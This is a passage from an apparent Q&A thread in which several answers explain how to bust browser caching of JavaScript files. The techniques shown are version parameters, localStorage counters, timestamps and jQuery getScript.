situation and the resources you have available. I suggest using a form like Semantic Versioning's rules to easily identify backwards or breaking compatibility by looking at the file name (assuming nobody in the development process fudged up their version numbering) if possible. Unless you have an odd use case, there is no good reason to force a fresh copy down to the client every time. Automated version incrementing on the client side with Local Storage If what you were after was frontend way to automate the generation of a unique version number for you so you don't have to explicitly set it, then you would have to implement some sort of local storage method to keep track of, and auto increment your file versions. The solution I've shown below would lose the ability for Semantic versioning, and also has the potential to be reset if the user knows how to clear Local Storage. However, considering your options are limited to client-side only solutions, this may be your best bet: <script type="text/javascript"> (function(){ /** * Increment and return the local storage version for a given JavaScript file by name * #param {string} scriptName Name of JavaScript file to be versioned (including .js file extension) * #return {integer} New incremented version number of file to pass to .js GET parameter */ var incrementScriptVer = function(scriptName){ var version = parseInt(localStorage.getItem(scriptName)); // Simple validation that our item is an integer if(version > 0){ version += 1; } else { // Default to 1 version = 1; } localStorage.setItem(scriptName, version); return version; }; // Set your scripts that you want to be versioned here var scripts = ['foo.js', 'bar.js', 'baz.js']; // Loop through each script name and append our new version number scripts.map(function(script){ var currentScriptVer = incrementScriptVer(script); document.write("<script language='text/javascript' type='text/javascript' src='http://yoursite.com/path/to/js/" + script + "?version=" + currentScriptVer + " '><\/script>"); }); })(); </script> I'm going to mention for completeness, if you are converting from an old system of generating "random" numbered or dated GET variables, to an incrementing versioned system, be sure that you will not step over any potentially randomly generated files names with your new versioning system. If in doubt, add a prefix to your GET variable when changing methods, or simply add a new GET variable all together. Example: "foo.js?version=my_prefix_121216" or "foo.js?version=121216&version_system=incremental" Automated versioning via AJAX calls and other methods (if backend development is a possiblity) Personally, I like to stay away from local storage options. If the option is available, it would be the "best" solution. Try to get a backend developer make an endpoint to track JS file versions, you could always use the response to that endpoint determine your version number. If you are already using version control like Git, you could optionally have on of your Dev Ops team bind your versioning to your commit versions for some pretty sweet integration as well. A jQuery solution to a RESTful GET endpoint might look like: var script = "foo.js"; // Pretend this endpoint returns a valid JSON object with something like { "version": "1.12.20" } $.ajax({ url: "//yoursite.com/path/to/your/file/version/endpoint/" + script }).done(function(data) { var currentScriptVer = data.version; document.write("<script language='text/javascript' type='text/javascript' src='http://yoursite.com/path/to/js/" + script + "?version=" + currentScriptVer + " '><\/script>"); });
Insert the script dynamically via document.createElement('script'), then when you set the URL, you can use new Date().getTime() to append the extra parameter. If you are worried about your javascript executing before the script is loaded, you can use the onload callback of the script element (note that there are a few hoops to jump for IE though)
If you can't user server side code then you can use getScript method to do the same. $(document).ready(function(){ var randomNum = Math.ceil(Math.random() * 999999); var jsfile = 'scripts/yourfile.js?v=' + randomNum; $.getScript(jsfile, function(data, textStatus, jqxhr) { }); }); Reference URL: http://api.jquery.com/jQuery.getScript/ (Please don't forget to mark as answer.)
Load scripts manually or with jQuery http://api.jquery.com/jQuery.getScript/. It also provides option to prevent chaching
You can replace the source of the script doing this with pure Javascript // get first script var script = document.getElementsByTagName('script')[0] var new = document.createElement("script"); // add the source with a timestamp new.src = 'yoursource.js?' + new Date.getTime().toString(); new.type = 'text/javascript' script.parentNode.insertBefore(new,script);
Replace regular expression if not alphanumeric Date.prototype.toISOString() var today = new Date(); "MyFile_" + today.toISOString().replace(/[^\w]/g, "") + ".pdf" MyFile_20191021T173426146Z.pdf
Old post but here is a one liner: <script src="../Scripts/source/yourjsname.js?ver<%=DateTime.Now.Ticks.ToString()%>" type="text/javascript"></script>